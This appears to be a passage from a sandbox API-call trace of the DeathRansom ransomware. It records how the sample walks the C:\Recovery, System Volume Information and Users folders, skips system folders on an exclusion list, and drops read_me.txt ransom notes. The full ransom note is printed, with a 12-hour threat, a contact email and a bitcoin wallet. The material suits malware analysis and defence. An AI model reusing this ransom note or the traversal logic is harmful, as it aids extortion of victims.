[0077.754] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Recovery\\*") returned 17 [0077.754] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Recovery\\*", lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x32fc1c8 [0077.757] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery\\.") returned 17 [0077.758] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.758] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.758] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0077.758] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery\\..") returned 18 [0077.758] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.758] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="E9E239~1")) returned 1 [0077.758] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b") returned 52 [0077.758] lstrcmpW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="..") returned 1 [0077.758] lstrcmpW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2=".") returned 1 [0077.758] StrStrW (lpFirst="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpSrch="programdata") returned 0x0 [0077.758] StrStrW (lpFirst="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpSrch="$recycle.bin") returned 0x0 [0077.758] StrStrW (lpFirst="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpSrch="program files") returned 0x0 [0077.758] StrStrW (lpFirst="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpSrch="windows") returned 0x0 [0077.758] StrStrW (lpFirst="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpSrch="all users") returned 0x0 [0077.758] StrStrW (lpFirst="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpSrch="appdata") returned 0x0 [0077.758] GetProcessHeap () returned 0x540000 [0077.758] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.758] lstrcpyW (in: lpString1=0x4150050, lpString2="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" | out: lpString1="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b") returned="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" [0077.758] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 32 [0077.758] QueueUserWorkItem (Function=0x40a710, Context=0x4150050, Flags=0x0) returned 1 [0077.793] GetProcessHeap () returned 0x540000 [0077.793] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.793] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*") returned 54 [0077.793] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc248 [0077.793] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\.") returned 54 [0077.793] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.793] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.793] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.794] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\..") returned 55 [0077.794] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.794] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x27c2fae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4185decd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x306000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="boot.sdi", cAlternateFileName="")) returned 1 [0077.794] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi") returned 61 [0077.794] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Winre.wim", cAlternateFileName="")) returned 1 [0077.794] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim") returned 62 [0077.794] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Winre.wim", cAlternateFileName="")) returned 0 [0077.794] FindClose (in: hFindFile=0x32fc248 | out: hFindFile=0x32fc248) returned 1 [0077.794] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\read_me.txt") returned 64 [0077.794] CreateFileW (lpFileName="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\read_me.txt" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0 [0077.794] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.794] WriteFile (in: hFile=0x7b0, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.795] CloseHandle (hObject=0x7b0) returned 1 [0077.796] GetProcessHeap () returned 0x540000 [0077.796] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.796] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="E9E239~1")) returned 0 [0077.796] FindClose (in: hFindFile=0x32fc1c8 | out: hFindFile=0x32fc1c8) returned 1 [0077.796] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Recovery\\read_me.txt") returned 27 [0077.796] CreateFileW (lpFileName="\\\\?\\C:\\Recovery\\read_me.txt" (normalized: "c:\\recovery\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x780 [0077.796] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.796] WriteFile (in: hFile=0x780, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f584, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f584*=0x6b3, lpOverlapped=0x0) returned 1 [0077.797] CloseHandle (hObject=0x780) returned 1 [0077.797] GetProcessHeap () returned 0x540000 [0077.797] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.797] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x17f598 | out: lpFindFileData=0x17f598*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x17f5e0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0077.797] wnsprintfW (in: pszDest=0x4160058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\System Volume Information") returned 32 [0077.797] lstrcmpW (lpString1="System Volume Information", lpString2="..") returned 1 [0077.797] lstrcmpW (lpString1="System Volume Information", lpString2=".") returned 1 [0077.797] StrStrW (lpFirst="system volume information", lpSrch="programdata") returned 0x0 [0077.797] StrStrW (lpFirst="system volume information", lpSrch="$recycle.bin") returned 0x0 [0077.797] StrStrW (lpFirst="system volume information", lpSrch="program files") returned 0x0 [0077.797] StrStrW (lpFirst="system volume information", lpSrch="windows") returned 0x0 [0077.797] StrStrW (lpFirst="system volume information", lpSrch="all users") returned 0x0 [0077.797] StrStrW (lpFirst="system volume information", lpSrch="appdata") returned 0x0 [0077.798] GetProcessHeap () returned 0x540000 [0077.798] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.798] lstrcpyW (in: lpString1=0x4150050, lpString2="\\\\?\\C:\\System Volume Information" | out: lpString1="\\\\?\\C:\\System Volume Information") returned="\\\\?\\C:\\System Volume Information" [0077.798] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 33 [0077.798] QueueUserWorkItem (Function=0x40a710, Context=0x4150050, Flags=0x0) returned 1 [0077.798] GetProcessHeap () returned 0x540000 [0077.798] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.798] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\System Volume Information\\*") returned 34 [0077.798] FindFirstFileW (in: lpFileName="\\\\?\\C:\\System Volume Information\\*", lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="\x07")) returned 0xffffffff [0077.798] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\System Volume Information\\read_me.txt") returned 44 [0077.798] CreateFileW (lpFileName="\\\\?\\C:\\System Volume Information\\read_me.txt" (normalized: "c:\\system volume information\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.798] GetProcessHeap () returned 0x540000 [0077.798] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.798] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x17f598 | out: lpFindFileData=0x17f598*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x17f5e0, cFileName="Users", cAlternateFileName="")) returned 1 [0077.798] wnsprintfW (in: pszDest=0x4160058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users") returned 12 [0077.798] lstrcmpW (lpString1="Users", lpString2="..") returned 1 [0077.798] lstrcmpW (lpString1="Users", lpString2=".") returned 1 [0077.798] StrStrW (lpFirst="users", lpSrch="programdata") returned 0x0 [0077.798] StrStrW (lpFirst="users", lpSrch="$recycle.bin") returned 0x0 [0077.798] StrStrW (lpFirst="users", lpSrch="program files") returned 0x0 [0077.798] StrStrW (lpFirst="users", lpSrch="windows") returned 0x0 [0077.798] StrStrW (lpFirst="users", lpSrch="all users") returned 0x0 [0077.799] StrStrW (lpFirst="users", lpSrch="appdata") returned 0x0 [0077.799] GetProcessHeap () returned 0x540000 [0077.799] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.799] lstrcpyW (in: lpString1=0x4170060, lpString2="\\\\?\\C:\\Users" | out: lpString1="\\\\?\\C:\\Users") returned="\\\\?\\C:\\Users" [0077.799] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 34 [0077.799] QueueUserWorkItem (Function=0x40a710, Context=0x4170060, Flags=0x0) returned 1 [0077.799] GetProcessHeap () returned 0x540000 [0077.799] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4180068 [0077.799] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\*") returned 14 [0077.799] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\*", lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1a7483d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a7483d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x32fc1c8 [0077.799] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\.") returned 14 [0077.799] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.799] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.799] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1a7483d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a7483d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0077.799] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\..") returned 15 [0077.799] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.799] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0077.799] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 33 [0077.799] lstrcmpW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="..") returned 1 [0077.799] lstrcmpW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2=".") returned 1 [0077.799] StrStrW (lpFirst="5p5nrgjn0js halpmcxz", lpSrch="programdata") returned 0x0 [0077.799] StrStrW (lpFirst="5p5nrgjn0js halpmcxz", lpSrch="$recycle.bin") returned 0x0 [0077.799] StrStrW (lpFirst="5p5nrgjn0js halpmcxz", lpSrch="program files") returned 0x0 [0077.799] StrStrW (lpFirst="5p5nrgjn0js halpmcxz", lpSrch="windows") returned 0x0 [0077.799] StrStrW (lpFirst="5p5nrgjn0js halpmcxz", lpSrch="all users") returned 0x0 [0077.800] StrStrW (lpFirst="5p5nrgjn0js halpmcxz", lpSrch="appdata") returned 0x0 [0077.800] GetProcessHeap () returned 0x540000 [0077.800] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4192080 [0077.801] lstrcpyW (in: lpString1=0x4192080, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz" [0077.801] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 35 [0077.801] QueueUserWorkItem (Function=0x40a710, Context=0x4192080, Flags=0x0) returned 1 [0077.801] GetProcessHeap () returned 0x540000 [0077.801] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41a2088 [0077.802] wnsprintfW (in: pszDest=0x41a2088, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\*") returned 35 [0077.802] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc248 [0077.802] wnsprintfW (in: pszDest=0x41a2088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\.") returned 35 [0077.802] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.802] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.802] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.802] wnsprintfW (in: pszDest=0x41a2088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\..") returned 36 [0077.802] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.802] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, 